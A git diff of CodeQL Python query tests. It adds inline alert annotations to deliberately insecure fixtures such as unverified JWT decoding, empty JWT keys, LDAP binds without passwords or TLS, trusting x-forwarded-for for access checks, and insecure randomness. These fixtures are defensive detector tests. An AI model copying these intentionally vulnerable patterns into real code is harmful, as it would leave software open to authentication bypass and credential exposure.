"(user={})".format(escape_filter_chars(request.args['search'])) srv = Server('servername', get_info=ALL) - conn = Connection(srv, user='user_dn', password=None) + conn = Connection(srv, user='user_dn', password=None) # $ Alert status, result, response, _ = conn.search(dn, search_filter) @app.route("/passwordEmpty") @@ -43,7 +43,7 @@ def passwordEmpty(): search_filter = "(user={})".format(escape_filter_chars(request.args['search'])) srv = Server('servername', get_info=ALL) - conn = Connection(srv, user='user_dn', password="") + conn = Connection(srv, user='user_dn', password="") # $ Alert status, result, response, _ = conn.search(dn, search_filter) @@ -57,7 +57,7 @@ def notPassword(): search_filter = "(user={})".format(escape_filter_chars(request.args['search'])) srv = Server('servername', get_info=ALL) - conn = Connection(srv, user='user_dn') + conn = Connection(srv, user='user_dn') # $ Alert status, result, response, _ = conn.search(dn, search_filter) diff --git a/python/ql/test/experimental/query-tests/Security/CWE-327-UnsafeUsageOfClientSideEncryptionVersion/UnsafeUsageOfClientSideEncryptionVersion.qlref b/python/ql/test/experimental/query-tests/Security/CWE-327-UnsafeUsageOfClientSideEncryptionVersion/UnsafeUsageOfClientSideEncryptionVersion.qlref index b737b32c8159..b5ed8a0d6364 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-327-UnsafeUsageOfClientSideEncryptionVersion/UnsafeUsageOfClientSideEncryptionVersion.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-327-UnsafeUsageOfClientSideEncryptionVersion/UnsafeUsageOfClientSideEncryptionVersion.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-327/Azure/UnsafeUsageOfClientSideEncryptionVersion.ql +query: experimental/Security/CWE-327/Azure/UnsafeUsageOfClientSideEncryptionVersion.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-327-UnsafeUsageOfClientSideEncryptionVersion/test.py b/python/ql/test/experimental/query-tests/Security/CWE-327-UnsafeUsageOfClientSideEncryptionVersion/test.py index 32fa60c61930..8cb7d2b7794d 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-327-UnsafeUsageOfClientSideEncryptionVersion/test.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-327-UnsafeUsageOfClientSideEncryptionVersion/test.py @@ -1,6 +1,6 @@ from azure.storage.blob import BlobServiceClient, ContainerClient, BlobClient -BSC = BlobServiceClient.from_connection_string(...) +BSC = BlobServiceClient.from_connection_string(...) # $ Source def unsafe(): # does not set encryption_version to 2.0, default is unsafe @@ -8,27 +8,27 @@ def unsafe(): blob_client.require_encryption = True blob_client.key_encryption_key = ... with open("decryptedcontentfile.txt", "rb") as stream: - blob_client.upload_blob(stream) # BAD + blob_client.upload_blob(stream) # BAD # $ Alert def unsafe_setting_on_blob_service_client(): - blob_service_client = BlobServiceClient.from_connection_string(...) + blob_service_client = BlobServiceClient.from_connection_string(...) # $ Source blob_service_client.require_encryption = True blob_service_client.key_encryption_key = ... blob_client = blob_service_client.get_blob_client(...) with open("decryptedcontentfile.txt", "rb") as stream: - blob_client.upload_blob(stream) + blob_client.upload_blob(stream) # $ Alert def unsafe_setting_on_container_client(): - container_client = ContainerClient.from_connection_string(...) + container_client = ContainerClient.from_connection_string(...) # $ Source container_client.require_encryption = True container_client.key_encryption_key = ... blob_client = container_client.get_blob_client(...) with open("decryptedcontentfile.txt", "rb") as stream: - blob_client.upload_blob(stream) + blob_client.upload_blob(stream) # $ Alert def potentially_unsafe(use_new_version=False): @@ -40,7 +40,7 @@ def potentially_unsafe(use_new_version=False): blob_client.encryption_version = '2.0' with open("decryptedcontentfile.txt", "rb") as stream: - blob_client.upload_blob(stream) # BAD + blob_client.upload_blob(stream) # BAD # $ Alert def safe(): @@ -72,7 +72,7 @@ def get_unsafe_blob_client(): def unsafe_with_calls(): bc = get_unsafe_blob_client() with open("decryptedcontentfile.txt", "rb") as stream: - bc.upload_blob(stream) # BAD + bc.upload_blob(stream) # BAD # $ Alert def get_safe_blob_client(): diff --git a/python/ql/test/experimental/query-tests/Security/CWE-338/InsecureRandomness.py b/python/ql/test/experimental/query-tests/Security/CWE-338/InsecureRandomness.py index 9f0439549672..ee94baf9eee1 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-338/InsecureRandomness.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-338/InsecureRandomness.py @@ -2,4 +2,4 @@ def generatePassword(): # BAD: the random is not cryptographically secure - return random.random() + return random.random() # $ Alert diff --git a/python/ql/test/experimental/query-tests/Security/CWE-338/InsecureRandomness.qlref b/python/ql/test/experimental/query-tests/Security/CWE-338/InsecureRandomness.qlref index 447fc2cf6b25..84cbc2412d91 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-338/InsecureRandomness.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-338/InsecureRandomness.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-338/InsecureRandomness.ql \ No newline at end of file +query: experimental/Security/CWE-338/InsecureRandomness.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-346/Cors.py b/python/ql/test/experimental/query-tests/Security/CWE-346/Cors.py index cc12e1273fbb..e01d99bde754 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-346/Cors.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-346/Cors.py @@ -4,8 +4,8 @@ def bad(): request = cherrypy.request validCors = "domain.com" if request.method in ['POST', 'PUT', 'PATCH', 'DELETE']: - origin = request.headers.get('Origin', None) - if origin.startswith(validCors): + origin = request.headers.get('Origin', None) # $ Source + if origin.startswith(validCors): # $ Alert print("Origin Valid") def good(): diff --git a/python/ql/test/experimental/query-tests/Security/CWE-346/CorsBypass.qlref b/python/ql/test/experimental/query-tests/Security/CWE-346/CorsBypass.qlref index b652fd93088b..35c42c39e854 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-346/CorsBypass.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-346/CorsBypass.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-346/CorsBypass.ql \ No newline at end of file +query: experimental/Security/CWE-346/CorsBypass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-347/JWTEmptyKeyOrAlgorithm.qlref b/python/ql/test/experimental/query-tests/Security/CWE-347/JWTEmptyKeyOrAlgorithm.qlref index fe0d2ea00043..d225e37a0d38 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-347/JWTEmptyKeyOrAlgorithm.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-347/JWTEmptyKeyOrAlgorithm.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-347/JWTEmptyKeyOrAlgorithm.ql +query: experimental/Security/CWE-347/JWTEmptyKeyOrAlgorithm.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-347/JWTMissingSecretOrPublicKeyVerification.qlref b/python/ql/test/experimental/query-tests/Security/CWE-347/JWTMissingSecretOrPublicKeyVerification.qlref index d289ff151f42..38402ddd457b 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-347/JWTMissingSecretOrPublicKeyVerification.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-347/JWTMissingSecretOrPublicKeyVerification.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-347/JWTMissingSecretOrPublicKeyVerification.ql +query: experimental/Security/CWE-347/JWTMissingSecretOrPublicKeyVerification.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-347/authlib.py b/python/ql/test/experimental/query-tests/Security/CWE-347/authlib.py index 2f7367897033..94eb4a38c875 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-347/authlib.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-347/authlib.py @@ -8,8 +8,8 @@ JsonWebToken().encode({"alg": "HS256"}, token, "key") # bad - empty key -jwt.encode({"alg": "HS256"}, token, "") -JsonWebToken().encode({"alg": "HS256"}, token, "") +jwt.encode({"alg": "HS256"}, token, "") # $ Alert[py/jwt-empty-secret-or-algorithm] +JsonWebToken().encode({"alg": "HS256"}, token, "") # $ Alert[py/jwt-empty-secret-or-algorithm] # Decoding diff --git a/python/ql/test/experimental/query-tests/Security/CWE-347/pyjwt.py b/python/ql/test/experimental/query-tests/Security/CWE-347/pyjwt.py index 39892b33dcb9..c08375ef9f4f 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-347/pyjwt.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-347/pyjwt.py @@ -7,11 +7,11 @@ jwt.encode(token, key="key", algorithm="HS256") # bad - both key and algorithm set to None -jwt.encode(token, None, None) +jwt.encode(token, None, None) # $ Alert[py/jwt-empty-secret-or-algorithm] # bad - empty key -jwt.encode(token, "", algorithm="HS256") -jwt.encode(token, key="", algorithm="HS256") +jwt.encode(token, "", algorithm="HS256") # $ Alert[py/jwt-empty-secret-or-algorithm] +jwt.encode(token, key="", algorithm="HS256") # $ Alert[py/jwt-empty-secret-or-algorithm] # Decoding @@ -19,8 +19,8 @@ jwt.decode(token, "key", "HS256") # bad - unverified decoding -jwt.decode(token, verify=False) -jwt.decode(token, key, options={"verify_signature": False}) +jwt.decode(token, verify=False) # $ Alert[py/jwt-missing-verification] +jwt.decode(token, key, options={"verify_signature": False}) # $ Alert[py/jwt-missing-verification] # good - verified decoding jwt.decode(token, verify=True) diff --git a/python/ql/test/experimental/query-tests/Security/CWE-347/python_jose.py b/python/ql/test/experimental/query-tests/Security/CWE-347/python_jose.py index eeb050184d85..8c2bfe90879b 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-347/python_jose.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-347/python_jose.py @@ -7,8 +7,8 @@ jwt.encode(token, key="key", algorithm="HS256") # bad - empty key -jwt.encode(token, "", algorithm="HS256") -jwt.encode(token, key="", algorithm="HS256") +jwt.encode(token, "", algorithm="HS256") # $ Alert[py/jwt-empty-secret-or-algorithm] +jwt.encode(token, key="", algorithm="HS256") # $ Alert[py/jwt-empty-secret-or-algorithm] # Decoding @@ -16,7 +16,7 @@ jwt.decode(token, "key", "HS256") # bad - unverified decoding -jwt.decode(token, key, options={"verify_signature": False}) +jwt.decode(token, key, options={"verify_signature": False}) # $ Alert[py/jwt-missing-verification] # good - verified decoding jwt.decode(token, key, options={"verify_signature": True}) diff --git a/python/ql/test/experimental/query-tests/Security/CWE-347/python_jwt.py b/python/ql/test/experimental/query-tests/Security/CWE-347/python_jwt.py index 42a3fc35f075..77e67b2dd904 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-347/python_jwt.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-347/python_jwt.py @@ -11,4 +11,4 @@ def good(token): def bad(token): - python_jwt.process_jwt(token) + python_jwt.process_jwt(token) # $ Alert[py/jwt-missing-verification] diff --git a/python/ql/test/experimental/query-tests/Security/CWE-348/ClientSuppliedIpUsedInSecurityCheck.qlref b/python/ql/test/experimental/query-tests/Security/CWE-348/ClientSuppliedIpUsedInSecurityCheck.qlref index 2a1775fe06aa..51f11c6dfcdd 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-348/ClientSuppliedIpUsedInSecurityCheck.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-348/ClientSuppliedIpUsedInSecurityCheck.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-348/ClientSuppliedIpUsedInSecurityCheck.ql \ No newline at end of file +query: experimental/Security/CWE-348/ClientSuppliedIpUsedInSecurityCheck.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-348/flask_bad.py b/python/ql/test/experimental/query-tests/Security/CWE-348/flask_bad.py index b357a9316fd0..491a13399706 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-348/flask_bad.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-348/flask_bad.py @@ -10,15 +10,15 @@ @app.route('/bad1') def bad1(): - client_ip = request.headers.get('x-forwarded-for') - if not client_ip.startswith('192.168.'): + client_ip = request.headers.get('x-forwarded-for') # $ Source + if not client_ip.startswith('192.168.'): # $ Alert raise Exception('ip illegal') return 'bad1' @app.route('/bad2') def bad2(): - client_ip = request.headers.get('x-forwarded-for') - if not client_ip == '127.0.0.1': + client_ip = request.headers.get('x-forwarded-for') # $ Source + if not client_ip == '127.0.0.1': # $ Alert raise Exception('ip illegal') return 'bad2' diff --git a/python/ql/test/experimental/query-tests/Security/CWE-348/tornado_bad.py b/python/ql/test/experimental/query-tests/Security/CWE-348/tornado_bad.py index 23ad29d8b09a..9899922d019b 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-348/tornado_bad.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-348/tornado_bad.py @@ -19,8 +19,8 @@ def get(self): if client_ip: client_ip = client_ip.split(',')[len(client_ip.split(',')) - 1] else: - client_ip = self.request.headers.get('REMOTE_ADDR', None) - if not client_ip == '127.0.0.1': + client_ip = self.request.headers.get('REMOTE_ADDR', None) # $ Source + if not client_ip == '127.0.0.1': # $ Alert raise Exception('ip illegal') self.write("hello.") diff --git a/python/ql/test/experimental/query-tests/Security/CWE-522-global-option/LdapInsecureAuth.qlref b/python/ql/test/experimental/query-tests/Security/CWE-522-global-option/LdapInsecureAuth.qlref index 7b867cb31867..cd63387a1a70 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-522-global-option/LdapInsecureAuth.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-522-global-option/LdapInsecureAuth.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-522/LdapInsecureAuth.ql +query: experimental/Security/CWE-522/LdapInsecureAuth.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-522/LdapInsecureAuth.qlref b/python/ql/test/experimental/query-tests/Security/CWE-522/LdapInsecureAuth.qlref index 7b867cb31867..cd63387a1a70 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-522/LdapInsecureAuth.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-522/LdapInsecureAuth.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-522/LdapInsecureAuth.ql +query: experimental/Security/CWE-522/LdapInsecureAuth.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-522/ldap2_remote.py b/python/ql/test/experimental/query-tests/Security/CWE-522/ldap2_remote.py index 3119ca2d28a7..75f5b0b0ea34 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-522/ldap2_remote.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-522/ldap2_remote.py @@ -42,7 +42,7 @@ def two(): @app.route("/one_bad") def one_bad(): - ldap_connection_7 = ldap.initialize(schema + remote_host) + ldap_connection_7 = ldap.initialize(schema + remote_host) # $ Alert ldap_connection_7.set_option(ldap.OPT_X_TLS_DEMAND, False) ldap_connection_7.simple_bind_s('', '') user = ldap_connection_7.search_s( @@ -53,7 +53,7 @@ def one_bad(): @app.route("/one_bad_2") def one_bad_2(): - ldap_connection_8 = ldap.initialize(schema + remote_host) + ldap_connection_8 = ldap.initialize(schema + remote_host) # $ Alert ldap_connection_8.set_option(ldap.OPT_X_TLS_NEVER, True) ldap_connection_8.simple_bind_s('', '') user = ldap_connection_8.search_s( diff --git a/python/ql/test/experimental/query-tests/Security/CWE-522/ldap3_remote.py b/python/ql/test/experimental/query-tests/Security/CWE-522/ldap3_remote.py index 269e03e41fef..ff5c5998ec23 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-522/ldap3_remote.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-522/ldap3_remote.py @@ -1,5 +1,5 @@ from ldap3 import Server, Connection, ALL -from flask import request, Flask +from flask import request, Flask # $ Source app = Flask(__name__) @@ -98,8 +98,8 @@ def seven(): @app.route("/eight") def eight(): - host = schema + "somethingon.theinternet.com" - srv = Server(host, port=1337) + host = schema + "somethingon.theinternet.com" # $ Source + srv = Server(host, port=1337) # $ Alert conn = Connection(srv, "dn", "password") conn.start_tls() conn.search("dn", "search_filter") @@ -111,8 +111,8 @@ def eight(): @app.route("/nine") def nine(): - host = schema + "somethingon.theinternet.com" - srv = Server(host, 1337, False) + host = schema + "somethingon.theinternet.com" # $ Source + srv = Server(host, 1337, False) # $ Alert conn = Connection(srv, "dn", "password") conn.search("dn", "search_filter") return conn.response @@ -123,8 +123,8 @@ def nine(): @app.route("/ten") def ten(): - host = schema + remote_host - srv = Server(host, port=1337, use_ssl=False) + host = schema + remote_host # $ Source + srv = Server(host, port=1337, use_ssl=False) # $ Alert conn = Connection(srv, "dn", "password") conn.search("dn", "search_filter") return conn.response @@ -136,7 +136,7 @@ def ten(): @app.route("/eleven") def eleven(): host = schema + request.args['host'] - srv = Server(host, port=1337) + srv = Server(host, port=1337) # $ Alert conn = Connection(srv, "dn", "password") conn.search("dn", "search_filter") return conn.response diff --git a/python/ql/test/experimental/query-tests/Security/CWE-611-SimpleXmlRpcServer/SimpleXmlRpcServer.qlref b/python/ql/test/experimental/query-tests/Security/CWE-611-SimpleXmlRpcServer/SimpleXmlRpcServer.qlref index a0b30e6d69b8..f9b2ebd03909 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-611-SimpleXmlRpcServer/SimpleXmlRpcServer.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-611-SimpleXmlRpcServer/SimpleXmlRpcServer.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-611/SimpleXmlRpcServer.ql +query: experimental/Security/CWE-611/SimpleXmlRpcServer.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-611-SimpleXmlRpcServer/xmlrpc_server.py b/python/ql/test/experimental/query-tests/Security/CWE-611-SimpleXmlRpcServer/xmlrpc_server.py index 83c18b549b3d..f2463a752bcb 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-611-SimpleXmlRpcServer/xmlrpc_server.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-611-SimpleXmlRpcServer/xmlrpc_server.py @@ -4,7 +4,7 @@ def foo(n: str): print("foo called with arg:", n, type(n)) return "ok" -server = SimpleXMLRPCServer(("127.0.0.1", 8000)) +server = SimpleXMLRPCServer(("127.0.0.1", 8000)) # $ Alert server.register_function(foo, "foo") server.serve_forever() diff --git a/python/ql/test/experimental/query-tests/Security/CWE-770/UnicodeDoS.qlref b/python/ql/test/experimental/query-tests/Security/CWE-770/UnicodeDoS.qlref index aff380880ea0..1124c1683447 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-770/UnicodeDoS.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-770/UnicodeDoS.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-770/UnicodeDoS.ql \ No newline at end of file +query: experimental/Security/CWE-770/UnicodeDoS.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-770/tests.py b/python/ql/test/experimental/query-tests/Security/CWE-770/tests.py index 1007bcc89858..f359cdaca1c9 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-770/tests.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-770/tests.py @@ -1,4 +1,4 @@ -from flask import Flask, jsonify, request +from flask import Flask, jsonify, request # $ Source import unicodedata app = Flask(__name__) @@ -13,7 +13,7 @@ def bad_1(): # Normalize the file path using NFKC Unicode normalization return ( - unicodedata.normalize("NFKC", file_path), + unicodedata.normalize("NFKC", file_path), # $ Alert 200, {"Content-Type": "application/octet-stream"}, ) @@ -25,7 +25,7 @@ def bad_2(): if len(r) >= 10: # Normalize the r using NFKD Unicode normalization - r = unicodedata.normalize("NFKD", r) + r = unicodedata.normalize("NFKD", r) # $ Alert return r, 200, {"Content-Type": "application/octet-stream"} else: return jsonify({"error": "File not found"}), 404 @@ -37,7 +37,7 @@ def bad_3(): length = len(r) if length >= 1_000: # Normalize the r using NFKD Unicode normalization - r = unicodedata.normalize("NFKD", r) + r = unicodedata.normalize("NFKD", r) # $ Alert return r, 200, {"Content-Type": "application/octet-stream"} else: return jsonify({"error": "File not found"}), 404 @@ -49,7 +49,7 @@ def bad_4(): length = len(r) if 1_000 <= length: # Normalize the r using NFKD Unicode normalization - r = unicodedata.normalize("NFKD", r) + r = unicodedata.normalize("NFKD", r) # $ Alert return r, 200, {"Content-Type": "application/octet-stream"} else: return jsonify({"error": "File not found"}), 404 @@ -61,7 +61,7 @@ def bad_5(): length = len(r) if not length < 1_000: # Normalize the r using NFKD Unicode normalization - r = unicodedata.normalize("NFKD", r) + r = unicodedata.normalize("NFKD", r) # $ Alert return r, 200, {"Content-Type": "application/octet-stream"} else: return jsonify({"error": "File not found"}), 404 @@ -73,7 +73,7 @@ def bad_6(): length = len(r) if not 1_000 > length: # Normalize the r using NFKD Unicode normalization - r = unicodedata.normalize("NFKD", r) + r = unicodedata.normalize("NFKD", r) # $ Alert return r, 200, {"Content-Type": "application/octet-stream"} else: return jsonify({"error": "File not found"}), 404 diff --git a/python/ql/test/extractor-tests/overlay/basic-overlay-eval/test.qlref b/python/ql/test/extractor-tests/overlay/basic-overlay-eval/test.qlref index 961494fbda1e..7b04068222b4 100644 --- a/python/ql/test/extractor-tests/overlay/basic-overlay-eval/test.qlref +++ b/python/ql/test/extractor-tests/overlay/basic-overlay-eval/test.qlref @@ -1 +1 @@ -../basic-full-eval/test.ql +query: ../basic-full-eval/test.ql diff --git a/python/ql/test/library-tests/dataflow/coverage-py2/argumentRoutingTest.qlref b/python/ql/test/library-tests/dataflow/coverage-py2/argumentRoutingTest.qlref index 58bedc4c88cf..e555b1a31260 100644 --- a/python/ql/test/library-tests/dataflow/coverage-py2/argumentRoutingTest.qlref +++ b/python/ql/test/library-tests/dataflow/coverage-py2/argumentRoutingTest.qlref @@ -1 +1 @@ -../coverage/argumentRoutingTest.ql +query: ../coverage/argumentRoutingTest.ql diff --git a/python/ql/test/library-tests/dataflow/coverage-py3/argumentRoutingTest.qlref b/python/ql/test/library-tests/dataflow/coverage-py3/argumentRoutingTest.qlref index 58bedc4c88cf..e555b1a31260 100644 --- a/python/ql/test/library-tests/dataflow/coverage-py3/argumentRoutingTest.qlref +++ b/python/ql/test/library-tests/dataflow/coverage-py3/argumentRoutingTest.qlref @@ -1 +1 @@ -../coverage/argumentRoutingTest.ql +query: ../coverage/argumentRoutingTest.ql diff --git a/python/ql/test/library-tests/dataflow/typetracking_imports/tracked.qlref b/python/ql/test/library-tests/dataflow/typetracking_imports/tracked.qlref index 2c005903470f..30e4cf2cc46a 100644 --- a/python/ql/test/library-tests/dataflow/typetracking_imports/tracked.qlref +++ b/python/ql/test/library-tests/dataflow/typetracking_imports/tracked.qlref @@ -1 +1 @@ -../typetracking/tracked.ql +query: ../typetracking/tracked.ql diff --git a/python/ql/test/library-tests/frameworks/django-orm/ReflectedXss.qlref b/python/ql/test/library-tests/frameworks/django-orm/ReflectedXss.qlref index e0efe1024162..52f5dddc6c6d 100644 --- a/python/ql/test/library-tests/frameworks/django-orm/ReflectedXss.qlref +++ b/python/ql/test/library-tests/frameworks/django-orm/ReflectedXss.qlref @@ -1 +1 @@ -Security/CWE-079/ReflectedXss.ql +query: Security/CWE-079/ReflectedXss.ql diff --git a/python/ql/test/library-tests/frameworks/gradio/taint_step_test.qlref b/python/ql/test/library-tests/frameworks/gradio/taint_step_test.qlref index d43482cc509e..ee6206aa2325 100644 --- a/python/ql/test/library-tests/frameworks/gradio/taint_step_test.qlref +++ b/python/ql/test/library-tests/frameworks/gradio/taint_step_test.qlref @@ -1 +1 @@ -Security/CWE-022/PathInjection.ql +query: Security/CWE-022/PathInjection.ql diff --git a/python/ql/test/modelling/FrameworkModeEndpoints.qlref b/python/ql/test/modelling/FrameworkModeEndpoints.qlref index 5ae87455edd6..ec216021687b 100644 --- a/python/ql/test/modelling/FrameworkModeEndpoints.qlref +++ b/python/ql/test/modelling/FrameworkModeEndpoints.qlref @@ -1 +1 @@ -utils/modeleditor/FrameworkModeEndpoints.ql \ No newline at end of file +query: utils/modeleditor/FrameworkModeEndpoints.ql diff --git a/python/ql/test/query-tests/Classes/Arguments/WrongNameForArgumentInClassInstantiation.qlref b/python/ql/test/query-tests/Classes/Arguments/WrongNameForArgumentInClassInstantiation.qlref index 408766dcbf4d..e093d3ebd685 100644 --- a/python/ql/test/query-tests/Classes/Arguments/WrongNameForArgumentInClassInstantiation.qlref +++ b/python/ql/test/query-tests/Classes/Arguments/WrongNameForArgumentInClassInstantiation.qlref @@ -1 +1,2 @@ -Classes/WrongNameForArgumentInClassInstantiation.ql \ No newline at end of file +query: Classes/WrongNameForArgumentInClassInstantiation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Classes/Arguments/WrongNumberArgumentsInClassInstantiation.qlref b/python/ql/test/query-tests/Classes/Arguments/WrongNumberArgumentsInClassInstantiation.qlref index 4fdda20e1636..cbf14318e592 100644 --- a/python/ql/test/query-tests/Classes/Arguments/WrongNumberArgumentsInClassInstantiation.qlref +++ b/python/ql/test/query-tests/Classes/Arguments/WrongNumberArgumentsInClassInstantiation.qlref @@ -1 +1,2 @@ -Classes/WrongNumberArgumentsInClassInstantiation.ql \ No newline at end of file +query: Classes/WrongNumberArgumentsInClassInstantiation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Classes/Arguments/wrong_arguments.py b/python/ql/test/query-tests/Classes/Arguments/wrong_arguments.py index 7363fdebef4e..5c03d0b08496 100644 --- a/python/ql/test/query-tests/Classes/Arguments/wrong_arguments.py +++ b/python/ql/test/query-tests/Classes/Arguments/wrong_arguments.py @@ -34,22 +34,22 @@ def __init__(self, x, y, z): # Too few arguments -F0() -F1() -F2() -F3() -F4() -F5() -F6(1) -F7(1,2) +F0() # $ Alert[py/call/wrong-number-class-arguments] +F1() # $ Alert[py/call/wrong-number-class-arguments] +F2() # $ Alert[py/call/wrong-number-class-arguments] +F3() # $ Alert[py/call/wrong-number-class-arguments] +F4() # $ Alert[py/call/wrong-number-class-arguments] +F5() # $ Alert[py/call/wrong-number-class-arguments] +F6(1) # $ Alert[py/call/wrong-number-class-arguments] +F7(1,2) # $ Alert[py/call/wrong-number-class-arguments] #Too many arguments -F0(1,2) -F1(1,2,3) -F5(1,2,3) -F6(1,2,3) -F6(1,2,3,4) +F0(1,2) # $ Alert[py/call/wrong-number-class-arguments] +F1(1,2,3) # $ Alert[py/call/wrong-number-class-arguments] +F5(1,2,3) # $ Alert[py/call/wrong-number-class-arguments] +F6(1,2,3) # $ Alert[py/call/wrong-number-class-arguments] +F6(1,2,3,4) # $ Alert[py/call/wrong-number-class-arguments] #OK @@ -62,9 +62,9 @@ def __init__(self, x, y, z): #Illegal name -F0(y=1) -F1(z=1) -F2(x=0, y=1) +F0(y=1) # $ Alert[py/call/wrong-named-class-argument] +F1(z=1) # $ Alert[py/call/wrong-named-class-argument] +F2(x=0, y=1) # $ Alert[py/call/wrong-named-class-argument] #Ok name @@ -82,12 +82,12 @@ def __init__(self, x, y, z): f(*t2) #Too many -F6(*(1,2,3)) -F6(*t3) +F6(*(1,2,3)) # $ Alert[py/call/wrong-number-class-arguments] +F6(*t3) # $ Alert[py/call/wrong-number-class-arguments] #Ok F6(**{'x':1, 'y':2}) #Illegal name -F6(**{'x':1, 'y':2, 'z':3}) +F6(**{'x':1, 'y':2, 'z':3}) # $ Alert[py/call/wrong-named-class-argument] diff --git a/python/ql/test/query-tests/Classes/conflicting/ConflictingAttributesInBaseClasses.qlref b/python/ql/test/query-tests/Classes/conflicting/ConflictingAttributesInBaseClasses.qlref index 3d6fa6534c5c..efd0250ca2eb 100644 --- a/python/ql/test/query-tests/Classes/conflicting/ConflictingAttributesInBaseClasses.qlref +++ b/python/ql/test/query-tests/Classes/conflicting/ConflictingAttributesInBaseClasses.qlref @@ -1 +1,2 @@ -Classes/ConflictingAttributesInBaseClasses.ql \ No newline at end of file +query: Classes/ConflictingAttributesInBaseClasses.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Classes/conflicting/test.py b/python/ql/test/query-tests/Classes/conflicting/test.py index 624cea77ce5b..4bb75114034f 100644 --- a/python/ql/test/query-tests/Classes/conflicting/test.py +++ b/python/ql/test/query-tests/Classes/conflicting/test.py @@ -23,7 +23,7 @@ def meth(self): return 0 -class Conflict(CB1, CB2): +class Conflict(CB1, CB2): # $ Alert pass class Override1(Common): diff --git a/python/ql/test/query-tests/Classes/descriptors/MutatingDescriptor.qlref b/python/ql/test/query-tests/Classes/descriptors/MutatingDescriptor.qlref index 08449405ad61..17ec44acc881 100644 --- a/python/ql/test/query-tests/Classes/descriptors/MutatingDescriptor.qlref +++ b/python/ql/test/query-tests/Classes/descriptors/MutatingDescriptor.qlref @@ -1 +1,2 @@ -Classes/MutatingDescriptor.ql +query: Classes/MutatingDescriptor.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Classes/descriptors/test.py b/python/ql/test/query-tests/Classes/descriptors/test.py index 180ade50e366..b33ae25440f2 100644 --- a/python/ql/test/query-tests/Classes/descriptors/test.py +++ b/python/ql/test/query-tests/Classes/descriptors/test.py @@ -7,7 +7,7 @@ def __init__(self, func): def __get__(self, obj, obj_type): #Modified state is visible to all instances. - self.my_obj = obj + self.my_obj = obj # $ Alert return self def __call__(self, *args): @@ -22,4 +22,4 @@ def __set__(self, obj, value): def not_ok(self, value): #Modified state is visible to all instances. - self.my_obj = value + self.my_obj = value # $ Alert diff 